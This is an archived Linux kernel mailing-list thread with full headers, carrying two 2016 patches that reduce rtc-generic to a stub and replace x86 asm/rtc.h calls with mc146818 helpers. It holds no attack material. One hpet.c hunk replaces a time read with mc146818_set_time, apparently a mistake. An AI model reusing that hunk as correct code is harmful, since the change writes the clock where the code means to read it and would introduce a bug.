NNTP-Posting-Date: Mon, 30 May 2016 18:58:25 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBQU2WK5AKGQE2EEKLCQ-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:13 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBQU2WK5AKGQE2EEKLCQ-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-lb0-f190.google.com ([209.85.217.190])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBQU2WK5AKGQE2EEKLCQ-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SOA-0002yv-Eg
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:10 +0200
Original-Received: by mail-lb0-f190.google.com with SMTP id dj16sf35328762lbb.0
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=OxZ1AaSTs2JXdiDMFRjo2x1/c1tRuenv4btcTClzuV4=;
        b=bJ8M6mRCBHLpF+rwXyXQX3Ptv9aDnZ5qAFsJ/9C1eXA/P9YPDOiPQBmR/qodEoO1i8
         JgWVRqYbt6YENnISLhVigWQ8olDmrbkv0Ib2PUk8TzTZphZaeIAb/P+KIPOdNccsdQAg
         DjDNJNrXRn6V2vWIK4m45s5GgyIXLo8OJMOOiwguLftQkG7Wwz2DymIkJYnf94ijiqTS
         SAjcQJG6C3R9l96jTccbOt6KuU2T+GfM/E8h7OdS+ZV+hItczqh0/GbbPBJmldAgNXoL
         TXVsxjB6yU4NFM7ipQI1vXgUWvAXxKshtspcXw4gJWgf7iaiEE50wFTetseEA01vHp1G
         9LgQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=OxZ1AaSTs2JXdiDMFRjo2x1/c1tRuenv4btcTClzuV4=;
        b=Sjjt708txHkY/clGKLMdpZDLhHe+NAoJANWDKUhnuwRq4Zerdv2q6de2kbEAd+bspr
         U0SVuXCZvt0KXXg4ExeXSKlbOQS8RRqtHdgyG+c2kNXV1j38apsWJqmgj/a8Zvhw8QwP
         JuUcIpYdkxbV1WIesSF3JfWcVo/NGRCF9bB1MMcj2KP4ezX5PQclGyIgJVIKeluPPM0G
         jtc/7qJxwle0v59aeMcgM6e0AMuNOCFGXSm45w/WLg4eJwlelR8OSHr9SMhW508T8Yh5
         LLGBF/mzF0wRGfZbdxuEAwvkIGE9+886Ezwh2laaDmEb8fOebbfGqZy1V58MCcJhYg//
         Pblg==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tJzXJIncWKwWIX5dxLDjyjm5CwJTNGII7MR//POj/iQi5mGHsw2VZ2i4sEojrPMeQ==
X-Received: by 10.28.26.204 with SMTP id a195mr3096wma.17.1464634690107;
        Mon, 30 May 2016 11:58:10 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.28.170.138 with SMTP id t132ls896673wme.38.gmail; Mon, 30 May
 2016 11:58:09 -0700 (PDT)
X-Received: by 10.194.229.66 with SMTP id so2mr2934361wjc.7.1464634689816;
        Mon, 30 May 2016 11:58:09 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [212.227.17.10])
        by gmr-mx.google.com with ESMTPS id b77si569241wmb.0.2016.05.30.11.58.09
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:09 -0700 (PDT)
Received-SPF: neutral (google.com: 212.227.17.10 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=212.227.17.10;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MGi7V-1bKytu42U5-00DVrD; Mon, 30 May
 2016 20:58:04 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:d16F59SijNbksyuQ9MMdWehXeFIk2HahpucBBFURdhCA3hbr/2L
 qqVm658rVHtTi7PJ/nJ5ntt7EKymqniqBqqJC49BHDN3gmrjvX7iPCL3pdALv4uAeIsPmMr
 XhwqlKHqPUXtBHWXA1cUbTo8Cm7yITXobldONVWrqlzb65E/3nCihZlkLSdVuuULqmzwmxu
 pPPfkqzkXueBcc3YUAEAg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:UnTGTCebAv4=:mG/C0BsxLZYSzvhaYvteGI
 5Ea9+kFJBRlI+NvaQetgZqc8HfRWRkLS76xpZDntxpNkCe/mNDTwJAFB9LFVelK2Y64JPBGUh
 lelq/nLd9WTIa1oSjk5sboohnZCCmSpaGsnFqD08Q+ryE6/9IPP0G3Vt5HsSNvKtAPSwiDI1a
 tL7BelqsWD9Sqd9TKfBggdcWdpYyj2/cw9jtcqV4hBMS0nBzuggwNDis+vGo6vLxB9lmXSTr8
 7xJYAL4HBY++hoKzCdtTw6tPz+NwkK7sVm5mIkhMNL5t4u5mzlnbZC7EDtfnbtDxlDqvvkRcB
 U9Emi59boBPcrn0BKXjYZFnvUuplQZtp2SGs9NPiM9KEczTqPGsqi1XQY1CscwOisbF1HReYn
 GleDxrBmLwgI9VkD919WlcPhpYdzX2pNHbbpyZSk7qrzOZYkpDGtaqiV/cciWrzosJFgGCiiM
 LeYHHYvexXgTSWgPmdBPyVhh0NhiQ+lIACVvC4/SVxkrX7umT83G5Emhl5T6cITptsMaMvdcF
 zZiWqksbHNomi6bvL0DPedhFYXZuV7eCUwVJk/JRi1PCcpKSeX2HggLawMuldHQoE+gcGL5td
 J4XQ06gfhdg97re1YHVWGctMsZTl5oro0UxzP3N+7VjyJ5BZ5kKAnbVKVqEY80AC/bw5KvjGN
 gKg5PajnQ3jetvf20kL+uAZW6zaq7q8bX4vG+AJ8AOkqsLIUI9qet9IKfrVu4FCF1uHw=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 212.227.17.10 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:41 gmane.linux.ports.alpha:3747 gmane.linux.kernel:2230345 gmane.linux.ports.parisc:26801 gmane.linux.ports.ppc64.devel:127849 gmane.linux.ports.sh.devel:54134 gmane.linux.kernel.cross-arch:32181
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/41>

All architectures using this driver are now converted to
provide their own operations, so this one can be turned
into a trivial stub driver relying on its platform data.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
---
 drivers/rtc/rtc-generic.c | 35 +----------------------------------
 1 file changed, 1 insertion(+), 34 deletions(-)

diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
index efcb9833cac8..1bf5d2347928 100644
--- a/drivers/rtc/rtc-generic.c
+++ b/drivers/rtc/rtc-generic.c
@@ -9,43 +9,10 @@
 #include <linux/platform_device.h>
 #include <linux/rtc.h>
 
-#if 0
-#include <asm/rtc.h>
-
-static int generic_get_time(struct device *dev, struct rtc_time *tm)
-{
-	unsigned int ret = get_rtc_time(tm);
-
-	if (ret & RTC_BATT_BAD)
-		return -EOPNOTSUPP;
-
-	return rtc_valid_tm(tm);
-}
-
-static int generic_set_time(struct device *dev, struct rtc_time *tm)
-{
-	if (set_rtc_time(tm) < 0)
-		return -EOPNOTSUPP;
-
-	return 0;
-}
-
-static const struct rtc_class_ops generic_rtc_ops = {
-	.read_time = generic_get_time,
-	.set_time = generic_set_time,
-};
-#else
-#define generic_rtc_ops *(struct rtc_class_ops*)NULL
-#endif
-
 static int __init generic_rtc_probe(struct platform_device *dev)
 {
 	struct rtc_device *rtc;
-	const struct rtc_class_ops *ops;
-
-	ops = dev_get_platdata(&dev->dev);
-	if (!ops)
-		ops = &generic_rtc_ops;
+	const struct rtc_class_ops *ops = dev_get_platdata(&dev->dev);
 
 	rtc = devm_rtc_device_register(&dev->dev, "rtc-generic",
 					ops, THIS_MODULE);
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 03/16] char/genrtc: x86: remove remnants of asm/rtc.h
Date: Mon, 30 May 2016 20:57:51 +0200
Lines: 171
Approved: news@gmane.org
Message-ID: <1464634684-1248135-4-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634706 4686 80.91.229.3 (30 May 2016 18:58:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:26 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:14 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-lf0-f61.google.com ([209.85.215.61])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO6-0002xQ-Vr
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:07 +0200
Original-Received: by mail-lf0-f61.google.com with SMTP id v189sf38325107lfd.0
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=6/qF54wgnTMKkKM/fKzMUCM/M93shrdREs2+Q4Gj1fo=;
        b=a7aJC95up2qln6OH5blvFHVgSQYApmW8uuTy7P6XF24zKpJedfYS6HQCTx4F38v06H
         skzsUGuojhJha9vyuRCIMc/RCNGGxX1WaCZfpJeDrGUgtG4GWNr38JlvM5k057i68VcL
         au/cG6FHrs7CZnXQj6eNj3dxWrYTB9ZVPPa+C+pRP09AFBmpapmYE1RqEC5O4XeqLg5b
         xdLd98IkbOiDuJ/chA4qBEtHts1e/bRqDKXqGzvukm8oXSstNz6UP5g/O1vMwmV+RZn4
         df0fUUdr0XL//iYlsF9UOdSiB9CqAMDCTZuKRFCJZzXwXj7BsUl5yTksASyrGVDWVVpT
         jzEg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=6/qF54wgnTMKkKM/fKzMUCM/M93shrdREs2+Q4Gj1fo=;
        b=CnOigIDSBjHWi3musDl0ZqNHkQPXJ5W9hpYk6VttEjvzdXrs7AzAx4n12C/tOTYnmA
         TMxPSgCTMKYAHpIQPTmeIhimkgfXX75+8q45TUYPBZzp5ODR2IXxjiCxdHv68w8gmxLc
         PoOs0FCxAY8fOXwnHJ9ccGuVtlXYmtNzq+yR+E400+7W8DtN7rkQhe+ncpZnwpkedVkb
         mFVIdeeZ8cBlBHEQultDzFOGGFcCncXOM5rnvM7PvZvKukEnjDt8EpDVZj26Tp6FgS2T
         Canwr5dWeh5JCzLU3SZXxzBJHh0TEelkEMuhPec2vDP6vhjgXFQvtwkVjj1nl53zG3o9
         JpkQ==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tJE4cE7UF9YZrq69+RqrzTdiUI48BUOL3DK3qV2Zv1qCDH7p1ja34EANqR24LuBCw==
X-Received: by 10.28.8.141 with SMTP id 135mr32842wmi.8.1464634686529;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.28.153.72 with SMTP id b69ls548815wme.23.canary; Mon, 30 May
 2016 11:58:06 -0700 (PDT)
X-Received: by 10.194.153.199 with SMTP id vi7mr1206168wjb.1.1464634686247;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [212.227.17.13])
        by gmr-mx.google.com with ESMTPS id l184si1137949wmg.2.2016.05.30.11.58.06
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
Received-SPF: neutral (google.com: 212.227.17.13 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=212.227.17.13;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MZDuG-1amc9J3myS-00KzgA; Mon, 30 May
 2016 20:57:58 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:UeyTAKDE/FG3Ux9naCi8rxsljrOVeHZiUemwJo2DqcIsc8lWLN2
 kOpsoU+sxQBfkGDup7FEJFog/Ra5h2plV3PnMoMU2kCdR6nXYc1BHbOG+NK5vPfOYfhg+QX
 RIAKYVt3lvT4bFFmyVr9B3e7EL4ttBqmjM2raxhLCWviIx51bfhfWDwZh6Zr/NIwu7Q1dcK
 SeYWzBsChXn8MAZrl9k5Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:7fEGQ35PlUo=:6MiMlmnMtYwAFCeBN/ygw9
 kpZqwRKd98A3YUxMXoPBQz6coUbCW142105X2iq8KkjIixD+G2fZqfA3nU7RjeKd5hLGlGooK
 uJ2UrLjy4W0A/xfUqroyWYIJhFU46hpz0gpA3+Q2oBO5N228OnCaH7a3US/djyY5jZe3tcPBH
 l/6zT4/HyBF6mrvTBv5IqTJOk3zQ9I6QbN+xfeAnUqV9fy8uevwMy27sUwPCLvkAyH6XJK9kU
 bVD5SMjBenmzr4YG2PA3++g7bkf8g5CxfOug2k3+DyH9b8muv+HSYG5kSSlr4v/QBrRKX9Brf
 Y9TcCgjnX+vif92kjKpZUyQ4pSgUvCxGI01IIzaxdXvMNEVKCXQGYH8jxBvBG+RVt72SgjsXu
 zVgzOI3jHd8UMSwv1zkRLuxVAAMlJa8tEQMFaogvqImw8kro7va4XPVJGGJzBURIxPhIGDtP0
 SZtZ2cfSXaBEeyu0uWPceD4Md4FnRUiRT1g716KkVNzeH8QgXA4MLi2QWputJgzpCJOow84ha
 ecJCDbIzTrdjTJlE+GtDX//8PwrF7H1GLHTKSHdL8BtlEvsF2n6RpyhT7OQm2PwYSH3ksWkEy
 9gi7iYA/9DG7DLWoy+JVqjZJ5/HQse9mGF/z8l6oYtBkhnbNRx4wiga5gkBifLOQupC9kxJSD
 3fZRf7fjHb+hpunYvhmc3f0Omb5mHcXqfWPBzKSd1EqO83o6Xag/OjtVdyMiz35wA+OU=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 212.227.17.13 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:42 gmane.linux.ports.alpha:3748 gmane.linux.kernel:2230346 gmane.linux.ports.parisc:26802 gmane.linux.ports.ppc64.devel:127850 gmane.linux.ports.sh.devel:54135 gmane.linux.kernel.cross-arch:32182
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/42>

Commit 3195ef59cb42 ("x86: Do full rtc synchronization with ntp") had
the side-effect of unconditionally enabling the RTC_LIB symbol on x86,
which in turn disables the selection of the CONFIG_RTC and
CONFIG_GEN_RTC drivers that contain a two older implementations of
the CONFIG_RTC_DRV_CMOS driver.

This removes x86 from the list for genrtc, and changes all references
to the asm/rtc.h header to instead point to the interfaces
from linux/mc146818rtc.h.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
---
 arch/x86/include/asm/rtc.h   | 1 -
 arch/x86/kernel/hpet.c       | 3 +--
 arch/x86/kernel/rtc.c        | 3 +--
 arch/x86/platform/efi/efi.c  | 1 -
 drivers/acpi/acpi_cmos_rtc.c | 2 +-
 drivers/base/power/trace.c   | 6 +++---
 drivers/char/Kconfig         | 2 +-
 drivers/rtc/rtc-mrst.c       | 2 +-
 8 files changed, 8 insertions(+), 12 deletions(-)
 delete mode 100644 arch/x86/include/asm/rtc.h

diff --git a/arch/x86/include/asm/rtc.h b/arch/x86/include/asm/rtc.h
deleted file mode 100644
index f71c3b0ed360..000000000000
--- a/arch/x86/include/asm/rtc.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/rtc.h>
diff --git a/arch/x86/kernel/hpet.c b/arch/x86/kernel/hpet.c
index f112af7aa62e..357900aad62c 100644
--- a/arch/x86/kernel/hpet.c
+++ b/arch/x86/kernel/hpet.c
@@ -1020,7 +1020,6 @@ void hpet_disable(void)
  */
 #include <linux/mc146818rtc.h>
 #include <linux/rtc.h>
-#include <asm/rtc.h>
 
 #define DEFAULT_RTC_INT_FREQ	64
 #define DEFAULT_RTC_SHIFT	6
@@ -1244,7 +1243,7 @@ irqreturn_t hpet_rtc_interrupt(int irq, void *dev_id)
 	memset(&curr_time, 0, sizeof(struct rtc_time));
 
 	if (hpet_rtc_flags & (RTC_UIE | RTC_AIE))
-		get_rtc_time(&curr_time);
+		mc146818_set_time(&curr_time);
 
 	if (hpet_rtc_flags & RTC_UIE &&
 	    curr_time.tm_sec != hpet_prev_update_sec) {
diff --git a/arch/x86/kernel/rtc.c b/arch/x86/kernel/rtc.c
index eceaa082ec3f..79c6311cd912 100644
--- a/arch/x86/kernel/rtc.c
+++ b/arch/x86/kernel/rtc.c
@@ -13,7 +13,6 @@
 #include <asm/x86_init.h>
 #include <asm/time.h>
 #include <asm/intel-mid.h>
-#include <asm/rtc.h>
 #include <asm/setup.h>
 
 #ifdef CONFIG_X86_32
@@ -47,7 +46,7 @@ int mach_set_rtc_mmss(const struct timespec *now)
 
 	rtc_time_to_tm(nowtime, &tm);
 	if (!rtc_valid_tm(&tm)) {
-		retval = set_rtc_time(&tm);
+		retval = mc146818_set_time(&tm);
 		if (retval)
 			printk(KERN_ERR "%s: RTC write failed with error %d\n",
 			       __func__, retval);
diff --git a/arch/x86/platform/efi/efi.c b/arch/x86/platform/efi/efi.c
index f93545e7dc54..56400d03409f 100644
--- a/arch/x86/platform/efi/efi.c
+++ b/arch/x86/platform/efi/efi.c
@@ -51,7 +51,6 @@
 #include <asm/cacheflush.h>
 #include <asm/tlbflush.h>
 #include <asm/x86_init.h>
-#include <asm/rtc.h>
 #include <asm/uv/uv.h>
 
 static struct efi efi_phys __initdata;
diff --git a/drivers/acpi/acpi_cmos_rtc.c b/drivers/acpi/acpi_cmos_rtc.c
index 81dc75033f15..0980a133916f 100644
--- a/drivers/acpi/acpi_cmos_rtc.c
+++ b/drivers/acpi/acpi_cmos_rtc.c
@@ -14,7 +14,7 @@
 #include <linux/err.h>
 #include <linux/kernel.h>
 #include <linux/module.h>
-#include <asm-generic/rtc.h>
+#include <linux/mc146818rtc.h>
 
 #include "internal.h"
 
diff --git a/drivers/base/power/trace.c b/drivers/base/power/trace.c
index a6975795e7f3..efec10b49d59 100644
--- a/drivers/base/power/trace.c
+++ b/drivers/base/power/trace.c
@@ -11,7 +11,7 @@
 #include <linux/export.h>
 #include <linux/rtc.h>
 
-#include <asm/rtc.h>
+#include <linux/mc146818rtc.h>
 
 #include "power.h"
 
@@ -103,7 +103,7 @@ static int set_magic_time(unsigned int user, unsigned int file, unsigned int dev
 	n /= 24;
 	time.tm_min = (n % 20) * 3;
 	n /= 20;
-	set_rtc_time(&time);
+	mc146818_set_time(&time);
 	return n ? -1 : 0;
 }
 
@@ -112,7 +112,7 @@ static unsigned int read_magic_time(void)
 	struct rtc_time time;
 	unsigned int val;
 
-	get_rtc_time(&time);
+	mc146818_get_time(&time);
 	pr_info("RTC time: %2d:%02d:%02d, date: %02d/%02d/%02d\n",
 		time.tm_hour, time.tm_min, time.tm_sec,
 		time.tm_mon + 1, time.tm_mday, time.tm_year % 100);
diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index 601f64fcc890..31b5861649ee 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -328,7 +328,7 @@ config JS_RTC
 config GEN_RTC
 	tristate "Generic /dev/rtc emulation"
 	depends on RTC!=y
-	depends on ALPHA || M68K || MN10300 || PARISC || PPC || X86
+	depends on ALPHA || M68K || MN10300 || PARISC || PPC
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
diff --git a/drivers/rtc/rtc-mrst.c b/drivers/rtc/rtc-mrst.c
index 0094d9bdd1e6..fe840c0edfef 100644
--- a/drivers/rtc/rtc-mrst.c
+++ b/drivers/rtc/rtc-mrst.c
@@ -32,11 +32,11 @@
 #include <linux/interrupt.h>
 #include <linux/spinlock.h>
 #include <linux/kernel.h>
+#include <linux/mc146818rtc.h>
 #include <linux/module.h>
 #include <linux/init.h>
 #include <linux/sfi.h>
 
-#include <asm-generic/rtc.h>
 #include <asm/intel_scu_ipc.h>
 #include <asm/intel-mid.h>
 #include <asm/intel_mid_vrtc.h>
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
